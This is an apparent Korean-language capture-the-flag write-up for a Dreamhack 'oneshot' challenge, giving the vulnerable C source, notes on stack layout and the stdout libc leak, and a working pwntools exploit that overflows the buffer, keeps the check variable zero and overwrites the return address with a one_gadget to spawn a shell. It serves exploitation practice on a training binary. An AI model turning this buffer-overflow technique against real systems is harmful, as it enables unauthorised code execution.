// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\n", stdout);
printf("MSG: ");
read(0, msg, 46);
if (check > 0) {
exit(0);
}
printf("MSG: %s\n", msg);
memset(msg, 0, sizeof(msg));
return 0;
}
보호 기법 분석

nx랑 pie 적용
코드 분석
- stdout의 주소 알려줌.. libc 함수들 다 계산 가능해짐
- msg에 46만큼 입력 받음 -> 버퍼 오버플로우..
- check가 0이거나 음수..
- msg의 내용도 출력.. 릭으로 무언가 유출 가능
- memset도 메모리 관련이라 hook이 있지 않을까
- hook함수에 system 덮어쓰고 memset실행.. 근데 인자 세 개나 보내야 하므로 one gadget을 써야할듯..?

쓸 수 있는 one_gadget
스택 프레임 구조 파악..

rip+0x107에 stdout 주소.. 가 아니고 main+43에서 rsi에 저장도는 값이 stdout 주소

msg: 출력
rbp-0x20에 read 스택은 buf에 20 할당 해줌 stack buf(0x20) … sfp(0x8) check(0x4)가 어디엔가 존재.. 이부분을 0으로 넣어줘야 함(이러지 않으면 exit)

rbp-0x8값을 검사.. 이부분이 check임을 알 수 있음 b’a’0x18+’\x00’0x8+b’a’*0x8+ret 이렇게 쓰면 되나.. ret를 one gadget으로 덮어주면 되는 문제
익스플로잇
from pwn import *
p=remote('host3.dreamhack.games',18215)
e=ELF('./oneshot')
libc=ELF('./libc-2.23.so')
p.recvuntil(b'stdout: 0x')
stdout=int(p.recvn(12),16)
libc_base=stdout-(libc.sym['_IO_2_1_stdout_'])
og=libc_base+0xf1247
payload=b'a'*0x18+b'\x00'*0x8+b'a'*0x8
payload+=p64(og)
p.sendafter(b'MSG: ',payload)
p.interactive()
